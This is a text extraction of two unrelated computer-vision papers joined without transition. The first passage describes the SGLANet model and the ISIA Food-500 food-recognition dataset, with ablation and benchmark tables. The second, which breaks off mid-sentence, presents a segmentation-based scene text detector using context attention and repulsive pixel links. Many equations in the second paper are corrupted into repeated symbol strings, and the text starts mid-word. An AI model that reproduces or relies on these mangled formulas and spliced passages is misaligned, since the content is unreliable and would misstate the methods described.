LS first adopts hybrid Spatial-Channel Attention (SCA) to obtain
more discriminative features from each layer of the network, and
then aggregates a set of features from these layers to capture differ-
ent types of global level features, such as shape and texture cues
about food. LocFLS adopts cascaded STs to localize different local
regions for each layer, and then aggregates fused features with
different regions from different layers into final local feature rep-
resentation. Finally, SGLANet fuses both global and local features
2http://www.fao.org/gsfaonline/index.html?lang=en
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Figure 2: Sorted distribution of the number of images from sampled classes in the ISIA Food-500.

Stuffed_eggplant

Fried_noodles

Profiterole Garlic_bread
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Di_san_xian

Mapo_doufu Deep-fried_peanuts

Toad_in_the_hole

Fish_head_curry

Figure 3: Image samples from the ISIA Food-500 dataset

for food recognition. In addition, SGLANet is trained with different
types of losses, including global loss, local loss and joint loss in an
end-to-end fashion to maximize their complementary benefit in
terms of the discriminative power.

4.1 GloFLS
Given the whole input image, GloFLS first learns more discrimina-
tive features via hybrid Spatial-Channel Attention (SCA) for each
layer, and then aggregates these discriminative features from differ-
ent layers into global level representations via multi-layer feature
fusing. Considering features extracted from different layers contain
low-level, mid and high ones, GloFLS can capture various types of
global level features, such as shape, texture and edge cues about
food.

Spatial-Channel Attention (SCA) The combination of both
spatial and channel attention can capture discriminative features
comprehensively from different dimensions, and thus have been
successfully applied in many tasks, such as image captioning [8]
and person ReID [29]. Different from these works, we apply SCA to
the food recognition task by capturing food-oriented discriminative
features.

The input to a SCA module is a 3-D tensor Xl ∈R h×w×c with
widthw , height h, channels c and the layer of GloFLS l , respectively.
The output of this module is a saliency weight map Al ∈R h×w×c

of the same size as X. We calculate Al ∈R for SCA learning [29]:

Al = Sl × C1 (1)

where Sl ∈Rh×w×1 and Cl ∈R1×1×c mean spatial and channel atten-
tion maps, respectively.

The Global Averaging Pooling (GAP) is used to calculate the
spatial attention as follows:

Sl =
1
c

c∑
i=1

Xl
1:h,1:w :i (2)

The channel attention from the squeeze-and-excitation block [19]
is computed as follows:

Cl1 =
1

h ×w

h∑
i=1

w∑
j=1

Xl
i, j,1:c

Cl = ReLU (Mca
2 × Relu(Mca

1 Cl1))

(3)

where Mca
1 ∈ R

c
r ×c and Mca

2 ∈ Rc× c
r represent the parameter

matrix of 2 conv layers respectively, and r denotes the bottleneck
reduction rate.

Multi-Layer Feature Fusing By extracting attentional features
frommultiple layers, we can obtain low, mid and high-level features,
which include various types of global features, such as texture,
shape and edge information [54]. Such global features are important
cues for food recognition. Therefore, we aggregate discriminative
attentional features from different layers into global level feature
representation for food recognition via a concatenation layer and a
fully connected layer.
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Figure 4: Comparison on distributions of categories on ISIA Food-500 and other existing typical ones.

Figure 5: The proposed framework. GAP: Global Average Pooling layer. SCA: Spatial-Channel Attention. ST: Spatial Trans-
former. FC: Full-Connected layer.

4.2 LocFLS
LocFLS localizes discriminative regions with different positions and
scales to capture local features. It uses stacked STs [22] to localize
regions from different layers. For each layer, one inception block is
introduced to extract regional features, and followed by a global
average pooling layer and a max-pooling layer for fusing these
regional features. The features from each layer are fused to final
local features via a concatenation layer and a fully connected layer.

Spatial Transformer (ST) For each layer, we adopt ST to locate
latentT regions, and model this regional attention by a transforma-
tion matrix as:

Al =

[
sh 0 tx
0 sw ty

]
(4)

which allows for image cropping, translation, and isotropic scaling
operations by varying two scale factors (sh , sw ) and 2-D spatial
position (tx , ty ).

4.3 Learning with Multiple Losses
SGLANet is jointly optimized by three types of losses, i.e., joint loss
L Joi , global loss LGlo , and local loss LLoc respectively, leading to
the final loss function:

L = L Joi + γ1LGlo + γ2LLoc (5)

where γ1 and γ2 are balance parameters, and the cross-entropy
classification loss function is used for all three types of losses.

Such learning with different types of losses can maximize their
complementary benefit in terms of the discriminative power.

5 EXPERIMENT
5.1 Experimental Setup
Our model is implemented on the Pytorch platform. The images
are resized to 224×224. The models are optimized using stochastic
gradient descent with a batch size of 80 and momentum of 0.9.
The learning rate is set to 10−2 initially and divided by 10 after 30
epochs. For GloFLS, we selected SENet [19] as the backbone, and
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Table 2: Evaluating individual modules in GloFLS on ISIA
Food-500 (%).

Method Top-1 acc. Top-5 acc.
SENet-154 63.83 88.61

SENet-154+SCA 64.42 89.05
SENet-154+Multi-scale 64.60 89.08

GloFLS 64.63 89.14

Table 3: Ablation experiments on ISIA Food-500 with global
& local-level features (%).

Method Top-1 acc. Top-5 acc.
GloFLS 64.63 89.14
LocFLS 64.10 88.86
SGLANet 64.74 89.12

the bottleneck reduction rate r = 16. For LocFLS, we selected simple
Inception-B unit as basic building block. For each layer, T = 4 and
the scale of ST is fixed as sh = sw = 0.5. We set γ1 = γ2 = 0.5 in
Eq. 5. Top-1 accuracy (Top-1 acc.) and Top-5 accuracy (Top-5 acc.)
are used as evaluation metrics.

5.2 Experiment on ISIA Food-500
ISIA Food-500 is divided into 60%, 10% and 30% images for training,
validation and testing, respectively. All the experiments adopt a
single centered crop (1-crop) at test time in the defaulting setting.

Ablation Study We first evaluated the effect of each individual
component in GloFLS in Table 2. It shows that: (1) Any of two
components in isolation brings recognition performance gain; (2)
The combination of SCA and Multi-scale gives further accuracy
boost, which suggests the complementary effect. We then evaluated
the effect of joint global and local feature learning by comparing
their individual global and local features. Table 3 shows that a
performance gain is obtained in Top-1 accuracy by joining two
representations, which validates the complementary effect of jointly
learning global and local features from GloFLS and LocFLS.

We finally evaluate the effect of different losses as shown in
Table 4. The experimental results demonstrate that we obtain the
best recognition performance when different losses are utilized. The
reason is that different loss functions can regulate the deep network
from different aspects andwork together to improve the recognition
performance. Another observation is that the performance with
one additional loss does not improve the performance compared
with the baseline without both global and local losses. The probable
reason is that the performance improvement needs joint work from
two losses.

Comparisons with State-of-the-Art We evaluated SGLANet
against different baseline methods on Table 5. These baselines
include not only various typical deep networks, such as VGG16
and SENet, but also some recently proposed fine-grained methods,
such as NTS-NET [55] and WS-DAN [20]. Note that for these fine-
grained methods, we followed the same setting in their mentioned
papers. We observed that the performance superiority of SGLANet
over all the state-of-the-arts in both Top-1 accuracy and Top-5

Table 4: Evaluating individual losses on ISIA Food-500 (%).

Method Top-1 acc. Top-5 acc.
λ1 = λ2 = 0 64.16 88.94

λ1 = 0, λ2 = 0.5 63.95 88.57
λ1 = 0.5, λ2 = 0 64.02 88.59
λ1 = 0.5, λ2 = 0.5 64.74 89.12

Table 5: Performance comparison on ISIA Food-500 (%).

Method Top-1 acc. Top-5 acc.
VGG-16 [47] 55.22 82.77

GoogLeNet [36] 56.03 83.42
ResNet-152 [17] 57.03 83.80
WRN-50 [46] 60.08 85.98

DenseNet-161 [21] 60.05 86.09
NAS-NET [60] 60.66 86.38

SE-ResNeXt101_32x4d [19] 61.95 87.54
NTS-NET [55] 63.66 88.48
WS-DAN [20] 60.67 86.48
DCL [11] 64.10 88.77

SENet-154 [19] 63.83 88.61
SGLANet 64.74 89.12

accuracy. Compared with best baseline SENet-154, there is the per-
formance improvement of about 0.9 percent in Top-1 accuracy for
the test set. These results validate the advantage of joint global and
local feature learning of SGLANet.

Visualization of GloFLS and LocFLSWe visualized both SCA
from GloFLS and STs from LocFLS at three different layers of SGLA-
Net. Fig. 6 shows: (1) in GloFLS, SCA captures different global
level features at different layers, such as shape information for
Boiled_beef and texture information from Pumpkin_bread. Mean-
while, with increased depth of SGLANet, SCA captures more fo-
cused and discriminative features (2) in LocFLS, STs capture dif-
ferent local regions with less background at different layers from
LocFLS, such as Crudites. This again verified complementary effect
of joint global and local feature learning.

Qualitative AnalysisWe selected 20 classes in the test phase
to further evaluate our method. Particularly, we listed the Top-1
accuracy of both 10 best and 10 worst performing classes in Fig.
7. We can observe that some categories can be easily recognized,
such as Chakli and Edamame, and their Top-1 accuracy is above
97%. However, there are some categories, which are very hard to
recognize, such as Curry_rice and kebab, and their Top-1 accuracy
is below 10%. We further demonstrate some challenging recog-
nized examples from the 10 worst performing classes, and Fig. 8
shows that too small inter-class variations is the main reason for
bad performance. We have shown that existing methods are far
from tackling large-scale recognition task with high accuracy like
ImageNet, pointing to exciting future directions.
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Figure 6: Visualization of SCA in GloFLS and STs in LocFLS
from (a) The 2th layer,(b) The 3th layer and (c) The 4th layer.

Table 6: Performance comparison on ETHZ Food-101 (%).

Method Setting Top-1 acc. Top-5 acc.
AlexNet-CNN [6] 1-crop 56.40 -

SELC [33] 1-crop 55.89 -
ResNet-152+SVM-RBF [35] 1-crop 64.98 -

DCNN-FOOD [52] 1-crop 70.41 -
LMBM [50] 1-crop 72.11 -

Ensemble Net [43] 1-crop 72.12 91.61
GoogLeNet [3] 1-crop 78.11 -
DeepFOOD [30] 1-crop 77.40 93.70
ILSVRC [5] 1-crop 79.20 94.11
WARN [31] 1-crop 85.50 -

CNNs Fusion(I2) [1] 1-crop 86.71 -
Inception V3 [16] 1-crop 88.28 96.88
SENet-154 [19] 1-crop 88.62 97.57
WRN [32] 10-crop 88.72 97.92
SOTA[28] 1-crop 90.00 -
DLA[57] 1-crop 90.00 -

WISeR [32] 10-crop 90.27 98.71
IG-CMAN [41] 1-crop 90.37 98.42
PAR-Net [44] 1-crop 89.30 -
PAR-Net [44] 10-crop 90.40 -

Inception-Resnet-v2 SE [56] 1-crop 90.40 -
MSMVFA [24] 1-crop 90.59 98.25
SGLANet 1-crop 89.69 98.01
SGLANet 10-crop 90.33 98.20

SGLANet(Pretrained) 1-crop 90.47 98.21
SGLANet(Pretrained) 10-crop 90.92 98.24

(a) The 10 best performing classes

(b) The 10 worst performing classes

Figure 7: Selected categories from (a)The 10 best and (b)The
10 worst performing classes.

Figure 8: Some confused classes, where the first column de-
notes some classes from the 10worst performing classes and
for each class, 3 more confused classes are listed for each
row.

5.3 Experiment on Other Benchmarks
We further conduct extensive evaluation on other two popular food
benchmark datasets to verify the effectiveness of our approach, and
also assessed the generalizability of our model learned using ISIA
Food-500 to the two datasets. Considering some evaluations from
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Table 7: Performance comparison on Vireo Food-172 (%).

Method Setting Top-1 acc. Top-5 acc.
AlexNet 1-crop 64.91 85.32

VGG-16 [47] 1-crop 80.41 94.59
DenseNet-161 [21] 1-crop 86.93 97.17

MTDCNN(VGG-16) [7] 1-crop 82.06 95.88
MTDCNN(DenseNet-16) [7] 1-crop 87.21 97.29

SENet-154 [19] 1-crop 88.71 97.74
PAR-Net [44] 1-crop 89.60 -
PAR-Net [44] 10-crop 90.20 -
IG-CMAN [41] 1-crop 90.63 98.40
MSMVFA [24] 1-crop 90.61 98.31
SGLANet 1-crop 89.88 97.83
SGLANet 10-crop 90.30 98.03

SGLANet(Pretrained) 1-crop 90.78 98.16
SGLANet(Pretrained) 10-crop 90.98 98.35

existing works are conducted in the setting of 10-crop test, we show
the experimental results of our method in the setting of both 1-crop
and 10-crop at test time.

Experiments on ETHZ Food-101 ETHZ Food-101 contains
101,000 images from 101 food categories. There are 1,000 images
including 750 training images and 250 test images for each cat-
egory [6]. We evaluated SGLANet against existing methods on
Food-101. Table 6 shows that our method exceeds many baseline
methods except some ones, such as MSMVFA [24], IG-CMAN [41]
and Inception-Resnet-v2 SE [56] under the 1-crop test setting. The
reason is that MSMVFA and IG-CMAN require multiple stages
training for feature extraction and introduced additional ingredient
information as the supervision. Inception-Resnet-v2 SE used addi-
tional data and adopted transfer learning method. When we used
the pretrained model on ISIA Food-500, namely SGLANet(Pretra-
ined), there is the performance improvement of about 0.8 percent
and 0.6 percent in Top-1 accuracy on 1-crop and 10-crop test re-
spectively. These results also verify the generalization of models
learned using ISIA Food-500.

Experiments on Vireo Food-172 Vireo Food-172 consists of
110,241 food images from 172 categories. In each food category, 60%,
10%, 30% of images are randomly selected for training, validation
and testing, respectively [7]. Table 7 shows experimental results on
Vireo Food-172. We can see that the performance from SGLANet is
better than many baselines, except that few ones, such as IG-CMAN.
This is because that these methods, such as IG-CMAN introduced
additional ingredient information for food recognition. In addition,
these methods generally need multi-stage feature learning. When
we fine-tuned SGLANet pre-trained on ISIA Food-500, there is the
performance improvement of about 0.9 percent and 0.7 percent
in Top-1 accuracy on 1-crop and 10-crop test respectively, and
achieved the best performance under the 1-crop setting. These
results again demonstrate the generalization of our model learned
using ISIA Food-500.

6 CONCLUSIONS
In this paper, we present a new large-scale dataset ISIA Food-500
with larger data volume, larger category coverage, and higher di-
versity compared with existing typical datasets. We then propose
a stacked global-local attention network to jointly exploit comple-
mentary global and local features via the designed two subnetworks
for food recognition. Extensive evaluation on ISIA Food-500 and
another two benchmark datasets have verified its effectiveness, and
thus can be considered as one strong baseline.

Future work includes: (1) We are expanding ISIA Food-500 data-
set, and aim to complete the construction of about 1.5 million food
images spread over about 2,000 food categories. We expect it will
serve as a new challenge to train high-capacity models for large-
scale food recognition in the multimedia community. (2) We plan
to collect rich attribute information, e.g., ingredients, cooking in-
structions and flavor information [40] to support multimodal food
recognition.
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Abstract 

 
Scene text detection is one of the most challenging 

problems in computer vision and has attracted great 
interest. In general, scene text detection methods are 
divided into two categories: detection-based and 
segmentation-based methods. Recently, the segmentation-
based methods are more and more popular due to their 
superior performances and the advantages of detecting 
arbitrary-shape texts. However, there still exist the 
following problems: (a) the misclassification of the 
unexpected texts, (b) the split of long text lines, (c) the 
failure of separating very close text instances. In this paper, 
we propose an accurate segmentation-based detector, 
which is equipped with context attention and repulsive text 
border. The context attention incorporates global channel 
attention, non-local self-attention and spatial attention to 
better exploit the global and local context, which can 
greatly increase the discriminative ability for pixels. Due to 
the enhancement of pixel-level features, false positives and 
the misdetections of long texts are reduced. Besides, for the 
purpose of solving very close text instance, a repulsive pixel 
link, which focuses on the relationships between pixels at 
the border, is proposed. Experiments on several standard 
benchmarks, including MSRA-TD500, ICDAR2015, 
ICDAR2017-MLT and CTW1500, validate the superiority 
of the proposed method. 
 

1. Introduction 
Scene text detection, which refers to precisely localizing 

all the instances of texts in a scene image, has been widely 
studied.  It is a critical step in many text-related real-world 
applications, such as photo translation [1], autonomous 
driving, image retrieval [14] and augmented reality. It is 
quite challenging due to the large variations of color, size, 
aspect ratio, font, orientation, lighting conditions and 
background in scene texts [54]. 

With the development of deep learning, great progress 
has been made in the computer vision tasks such as object 
detection and segmentation [9, 10, 13, 21, 25, 42, 44, 45]. 
Scene text detection, which can be seen as a type of object  

 
Figure 1. Different types of problems in scene text detection 
and the results of our method. Note that the error detections 
are marked with Red boxes. (a) is the misclassification of 
the unexpected texts, (b) is the split of long text lines, (c) is 
the failure of separating very close text instances. (d), (e), 
(f) are the results of our method, which successfully solves 
the problems. 
 
detection applied to text, has also witnessed great success 
[11, 22, 23, 26, 27, 28, 30, 32, 33, 43, 59, 61]. In general, 
scene text detection methods can be divided into two 
categories: detection-based and segmentation-based 
methods. The detection-based methods adapt the general 
object detection framework to detect the text or text parts 
by directly regressing rectangles or quadrangles with 
certain orientations. However, these frameworks cannot 
detect the text instances with arbitrary shapes and often fail 
to detect small texts. The segmentation-based methods use 
pixel-wise segmentation to segment text areas and extract 
text instances by post-processing the segmented areas. 
They have gained more interest due to their advantages of 
detecting arbitrary-shape texts and the superior 
performances compared with detection-based methods. 
However, there still exist several problems. The first one is 
the misclassification of the unexpected texts or text-like 
patterns. The second one is the split of the long text line into 
several text instances. The third one is the failure of 
separating very close text instances. Some examples are 
shown in Fig. 1 (a)(b)(c). 
 To address these problems, in this paper, we propose an 
accurate segmentation-based text detector. Two modules:  
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context attention module and repulsive text border module 
are specifically introduced. First, context plays a critical 
role in segmentation since it is very helpful for reducing 
local ambiguities for pixel classification. We design an 
effective attention mechanism to better exploit the context 
information by sequentially applying global attention, non-
local self-attention and spatial attention. The global 
attention uses global average-pooled high-level decoder 
features to compute channel-wise attention to the low-level 
encoder features, which increases the discriminative ability 
of low-level features. Non-local attention mechanism is 
proved to be effective for capturing long range 
dependencies. For the long text lines detection, long range 
contextual information is necessary to avoid the split of 
long text line into several text instances. We use a simple 
yet effective non-local module introduced in the work of 
[60] as our non-local attention module. It embeds a pyramid 
sampling module into non-local blocks to largely reduce the 
computation. The spatial attention utilizes the local inter-
spatial relationship of features and focuses on ‘where’ is 
text, which further solve the false positives. It applies a 

convolution layer with one channel to generate a spatial -
attention map and enhances the input features by 
broadcasting the attention map. As shown in Fig. 1(d)(e), 
our method can successfully solve the false positive and the 
split of long text. Second, text border is key to separating 
very close text lines. In PixelLink [3], it learns two kinds of 
pixel-wise predictions: text/non-text prediction and link 
prediction. The pixel link is important for separating text 
instance since texts are detected by linking pixels within the 
same text instance. However, the pixel link generally pays 
attention to the link between neighbor pixels that belong to 
the same text instance. Note that the link between pixels 
located at the text border requires more attention. Therefore, 
we introduce an extra repulsive pixel link that explicitly 
represents the relationship between two pixels at the text 
border. Predicted positive pixels are then joined together by 
predicted positive pixel links and negative repulsive links.  
Fig. 1(f) is the result of our method which shows that the 
very close text instances can be separated. 

To validate the effectiveness of our proposed scene text 
detector, we conduct extensive experiments on four 
standard benchmarks and achieve an F-measure of 86.1% 

 
Figure 2. Architecture of the proposed method. The network consists of (a) Encoder, (b) Decoder, (c) Context Attention 
Module, GA is global attention, NL is non-local self-attention, and SA is spatial attention, (d) Repulsive Text Border 
Module. The red arrow line means upsample. 
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on MSRA-TD500, 87.5% on ICDAR2015, 75.3% on 
ICDAR2017-MLT, 82.0% on CTW1500. The experimental 
results show that our method outperforms most of the state-
of-art methods. The contributions of this paper can be 
summarized as follows: 

(1) We propose an effective attention mechanism to 
better exploit the context information, which can effectively 
reduce the false positives and avoid the split of long text 
line into several text instances. 

(2) To further solve the very close text instance, we 
propose to learn an extra repulsive pixel link that explicitly 
represents the relationship between pixels located at text 
border. 

(3) The proposed method achieves state-of-the-art 
performance on several benchmark datasets of scene text 
including long straight, horizontal, multi-oriented and 
curved text. 

2. Related Work 
Scene text detection has been extensively studied in the 

last decades. State-of-the-art text detection algorithms are 
deep neural network based methods. Most of the deep 
learning based text detection methods can roughly be 
divided into two branches: detection-based and 
segmentation-based approaches. 

Detection-based methods treat text as a specific object 
and take advantage of the development in general object 
detection. Zhong et al. [57] proposed a text detection 
framework based on Faster-RCNN. They designed an 
inception-RPN which used multi-scale convolution filters 
to produce text region proposals. Ma et al. [34] added 
rotation to both anchors and RoIPooling in Faster R-CNN, 
to deal with the orientation of scene text. Gupta et al. [6] 
borrowed the YOLO [41] framework and employed a fully-
convolutional regression network to perform text detection 
and bounding box regression at all locations and multiple 
scales of an image. TextBoxes [22] modified anchors and 
kernels of SSD to detect large aspect-ratio scene text. 
TextBoxes++ [20] extended TextBoxes by regressing 
quadrilaterals instead of horizontal bounding boxes to 
handle arbitrary-oriented text.  Shi et al. [43] employed 
SSD framework and learned the locally detectable text 
elements, namely segments and links. RRD [23] also relied 
on SSD framework and introduced rotation-sensitive 
feature for detection branch and rotation-invariant feature 
for classification branch to learn better regression of long 
oriented text. These methods always need complex anchor 
setting and fail to detect texts with arbitrary shapes. 

Segmentation-based methods are mostly inspired by 
fully convolutional networks (FCN) [31]. Zhang et al. [56] 
first presented a framework which used FCN to produce a 
coarse saliency map for text. Yao et al. [53] casted the 
detection task as a segmentation problem by predicting 
three kinds of score maps: text/non-text, character classes, 
and character linking orientations. PixelLink [3] performed 

pixel-wise text/non-text and link prediction, then added 
some post-processing on the linked positive pixels to obtain 
the final text boxes. PSENet [18] used FCN to predict text 
instances with multiple scales, then designed a progressive 
scale expansion algorithm to reconstruct the whole text 
instance. More recently, several works such as Mask Text 
Spotter [32] and SPCNet [50] borrowed the state-of-art 
instance segmentation approach Mask R-CNN to detect text 
instances and achieved impressive performance. The 
biggest advantage of these methods is the ability to extract 
arbitrary-shape texts. However, their performances are 
greatly affected by the segmentation results. 

Compared with previous works, our method incorporates 
context attention and repulsive text border to improve text 
detection performance. Relying on the context information, 
the misclassification of the unexpected texts or text-like 
patterns and the split of long text lines are greatly reduced, 
which are common issues for most of segmentation-based 
methods. Moreover, the proposed repulsive pixel link that 
explicitly represents the relationship between two pixels at 
the text border are verified to be effective for separating the 
very close text instances. 

3. Approach 
In this section, we describe our proposed method in detail. 

Firstly, we present the general framework of our method. 
Secondly, we elaborate the context attention and repulsive 
text border modules. Finally, the training and inferring 
details are presented. 

3.1. Overall Architecture 

The network architecture of our approach is illustrated in 
Fig. 2. It is based on a fully convolutional network with 
encoder-decoder structure. In the encoder part, VGG-16 is 
used as backbone and the last two layers fc6 and fc7 are 
converted from fully-connected layers into convolutional 
layers. Besides, three extra layers are added after fc7 layer 
in the same manner as SSD [25]. In the decoder part, the 
output feature maps are generated by fusing low-level 
decoder features with high-level encoder features. The 
fusing process is implemented by introducing a context 
attention module. As shown in Fig. 2(c), the context 
attention module uses global attention, non-local self-
attention and spatial attention to effectively model the local 
and global context, which will be detailed in Section 3.2. 
For each output feature map of the decoder (conv2_2_f, 
conv3_3_f, conv4_3_f, fc7_f, conv6_2_f), three sibling 
1x1 convolution and softmax layers are attached to generate 
three score maps for text pixel, affinity pixel link and 
repulsive pixel link (see Fig. 2(d)). Since every pixel has 8 
neighbors, the output score maps have 2, 16 and 16 
channels, respectively. The details of learning pixel links 
are presented in Section 3.3. Finally, the score maps of each 
output feature map are resized and added together to obtain 
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three segmentation masks: text pixel mask, affinity link and 
repulsive link masks. Based on the segmentation results, we 
join the positive pixels with positive pixel links and 
negative repulsive links together, and obtain the detection 
results by extracting the bounding boxes of the connected 
components. 

3.2. Context Attention 

Context plays a critical role in segmentation since it is 
helpful for reducing local ambiguities for pixel 
classification. In our context attention, there are three sub-
modules: global attention, non-local self-attention and 
spatial attention. Given the low-level encoder feature map 
𝐹𝐹 ∈ ℝ××  and the high-level decoder feature map 
𝐹𝐹 ∈ ℝ×× as input, the context attention module 
sequentially goes through 1D channel attention, non-local 
self-attention and 2D spatial attention to generate the output 
feature map 𝐹𝐹 ∈ ℝ××, as illustrated in Fig.2(c). The 
overall process can be summarized as: 

     𝐹𝐹 = 𝐺𝐺𝐺𝐺(𝐹𝐹, 𝐹𝐹),       (1) 
      𝐹𝐹 = 𝑁𝑁𝑁𝑁(𝐹𝐹),                   (2) 
             𝐹𝐹 = 𝐹𝐹 = 𝑆𝑆𝐺𝐺(𝐹𝐹),              (3) 
where 𝐺𝐺𝐺𝐺 ∙  is global attention, 𝑁𝑁𝑁𝑁(∙)  is non-local self-
attention, and 𝑆𝑆𝐺𝐺 ∙  is spatial attention. 
 
Global Attention Module. High-level features always 
contain rich text category information, which can be a good 
guidance for low-level features to select text localization 
details. 

We perform global average pooling on the high-level 
decoder features 𝐹𝐹 ∈ ℝ××  and a 1×1 
convolution over the pooled features to generate the global 
attention map. The low-level encoder features 𝐹𝐹 ∈
ℝ×× are then multiplied by the attention map. Note that 
the channel number of the attention map and the low-level 
features may be different. A 3×3 convolution is added to 
the low-level features. Finally, the high-level features are 
upsampled and added with the weighted low-level features 
to get the output features 𝐹𝐹 ∈ ℝ×× . In short, the 
output feature is computed as: 
          𝐹𝐹 = 𝐺𝐺𝐺𝐺 𝐹𝐹, 𝐹𝐹  
                 = 𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺⨀𝐶𝐶𝐶𝐶𝐶𝐶𝐶𝐶× 𝐹𝐹 + 𝑈𝑈𝑈𝑈 𝐹𝐹 ,         (4) 
          𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺 = 𝐶𝐶𝐶𝐶𝐶𝐶𝐶𝐶× 𝐺𝐺𝐶𝐶𝐴𝐴𝑈𝑈𝐶𝐶𝐶𝐶𝐴𝐴 𝐹𝐹 ,                  (5) 
where ⨀ represents element-wise multiplication, 𝑈𝑈𝑈𝑈 ∙  is 
upsample operation. 
Non-local Self-Attention Module. Non-local attention is 
potent to capture the long range dependencies that are 
crucial for pixel classification. Especially for the long text 
lines, long range contextual information is necessary to 
avoid the split of long text line into several text instances. 

Considering the large computation of non-local 
operation, we use a simple yet effective non-local module 
introduced in the work of [60]. Given the output feature 

𝐹𝐹 ∈ ℝ××  of the global attention module as input, 
three 1x1 convolutions are first used to transform the input 
to different embeddings: 𝜙𝜙 ∈ ℝ××, 𝜃𝜃 ∈ ℝ×× and 
𝛾𝛾 ∈ ℝ××. Spatial pyramid pooling is then applied after 
𝜃𝜃 and 𝛾𝛾 to get sampled 𝜃𝜃 and  𝛾𝛾. 

The 𝜙𝜙, 𝜃𝜃 and  𝛾𝛾 are flattened to 𝜙𝜙 ∈ ℝ×,	𝜃𝜃 ∈ ℝ×, 
𝛾𝛾 ∈ ℝ×. A normalized similarity matrix is calculated as: 

                               𝑉𝑉 = 𝑓𝑓(𝜙𝜙×𝜃𝜃),                           (6) 
where the normalizing function 𝑓𝑓 can take the form from 
softmax, rescaling, and none. The attention output is 
acquired by 
                                   𝑂𝑂 = 𝑉𝑉×𝛾𝛾

,                               (7) 
and the final output 𝐹𝐹 ∈ ℝ×× is given by 
                     𝐹𝐹 = 𝑅𝑅𝑅𝑅𝑅𝑅ℎ𝐺𝐺𝐺𝐺𝑅𝑅(𝑊𝑊 𝑂𝑂

 + 𝐹𝐹),              (8) 
where 𝑊𝑊  is a 1x1 convolution operation to recover the 
channel dimension from 𝐶𝐶 to 𝐶𝐶. 
Spatial Attention Module. The spatial attention utilizes 
the local inter-spatial relationship of features and focuses 
on ‘where’ is text, which further solve the false positives. 

Given the output feature 𝐹𝐹 of the non-local self-
attention module as input, we perform a 3×3 convolution 
and then a 1×1 convolution with one channel to generate a 
text saliency map. A sigmoid function is further applied to 
obtain the spatial attention map 𝑆𝑆𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺 ∈ ℝ× . The 
attention output 𝑂𝑂 is calculated as: 
          𝑂𝑂 = 𝐵𝐵𝐵𝐵𝐶𝐶𝐺𝐺𝐵𝐵𝐵𝐵𝐺𝐺𝑅𝑅𝐺𝐺(𝑆𝑆𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺)⨀𝐶𝐶𝐶𝐶𝐶𝐶𝐶𝐶× 𝐹𝐹 ,    (9) 
    𝑆𝑆𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺 = 𝑆𝑆𝑆𝑆𝐴𝐴𝑆𝑆𝐶𝐶𝑆𝑆𝐵𝐵(𝐶𝐶𝐶𝐶𝐶𝐶𝐶𝐶×(𝐶𝐶𝐶𝐶𝐶𝐶𝐶𝐶× 𝐹𝐹 )),  (10) 
where 𝑆𝑆𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺𝐺 is broadcast to the same 𝐶𝐶 channel as 𝐹𝐹, 
⨀  represents element-wise multiplication. The output 
𝐹𝐹 ∈ ℝ×× of the spatial attention, also the final output 
𝐹𝐹 ∈ ℝ×× of the context attention, is given by  
                          𝐹𝐹 = 𝐹𝐹 = 𝐹𝐹 + 𝑂𝑂.                        (11) 

3.3. Repulsive Text Border 

Text border is critical for scene text detection since the 
border is actually the splitting mark for different text 
instances. Especially for the very close text instances and 
the curved texts, which often appear in scene text, more 
accurate text border is required. Inspired by the work of 
PixelLink [3], which learns 8-neighbor links for a pixel and 
uses the links to determine the text border, we also use 8-
neighbor link to learn the text border. We introduce two 
kinds of 8-neighbor links: affinity and repulsive pixel links 
for each pixel. 

 As shown in Fig. 3(a), for a given pixel and one of its 
neighbors, if they lie within the same text instance, the 
affinity pixel link between them is labeled as positive, and 
otherwise negative. We only focus on the positive pixels 
and the loss for affinity pixel links is calculated by: 
               𝑁𝑁 = 	 _

(_)
+ _

(_)
,          (12) 

where 𝑁𝑁_ and 𝑁𝑁_ are the cross-entropy losses 
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on the positive and negative affinity links, respectively; 
𝑠𝑠𝑠𝑠𝑠𝑠(𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎_𝑝𝑝𝑝𝑝𝑠𝑠) and 𝑠𝑠𝑠𝑠𝑠𝑠(𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎_𝑎𝑎𝑛𝑛𝑛𝑛) are the number of 
the positive and negative affinity links, respectively. 

The affinity pixel links generally pay attention to the link 
between neighbor pixels that belong to the same text 
instance. However, the links between pixels located at the 
text border require more attention. As illustrated in Fig. 3(b), 
we shrink the annotated text box 𝐺𝐺 with the offset 𝐷𝐷 to 𝐺𝐺 
and consider the gap between 𝐺𝐺 and 𝐺𝐺 as the text border 
(gray area in Fig. 3(b)). The offset 𝐷𝐷 is computed from the 
perimeter 𝐿𝐿 and area 𝐴𝐴 of the box 𝐺𝐺:  
                                   𝐷𝐷 𝐷 𝐷 ()


,                               (13) 

where 𝑟𝑟 is the shrink ratio, set to 0.4 empirically. We only 
focus on the positive pixels in the text border and ignore the 
other positive pixels. For a pixel in the text border and one 
of its neighbors, if they lie within different text instances or 
the neighbor pixel is non-text, the repulsive pixel link 
between them is labeled as positive, and otherwise negative. 
Similarly, we also use class-balanced cross-entropy loss as 
the loss for repulsive pixel links: 
      𝐿𝐿 𝐷 𝐷 _

(_)
+ _

(_)
,         (14) 

where 𝐿𝐿_ and 𝐿𝐿_ are the cross-entropy losses 
on the positive and negative repulsive links, respectively; 
𝑠𝑠𝑠𝑠𝑠𝑠(𝑊𝑊_)and 𝑠𝑠𝑠𝑠𝑠𝑠(𝑊𝑊_) are the sum of the 
weighted positive and negative repulsive links, respectively. 
For the positive repulsive links in which the two neighbor 
pixels lie in two text instances, they are assigned larger 
weight (2.0) while for other repulsive links, their weight is 
set to 1.0. 

3.4. Training and Inference 

The objective function of learning pixels and links is 
defined as follows: 
                 𝐿𝐿 𝐷 𝜆𝜆𝐿𝐿 + 𝐿𝐿 + 𝐿𝐿,                 (15) 
where 𝐿𝐿 is the loss on pixel classification task, 𝐿𝐿 
and 𝐿𝐿 are the link losses.𝐷𝜆𝜆 is the weight of pixel loss 
and set to 2.0. 

Considering the extreme imbalance of text and non-text 
pixels, we use online hard example mining (OHEM) to 
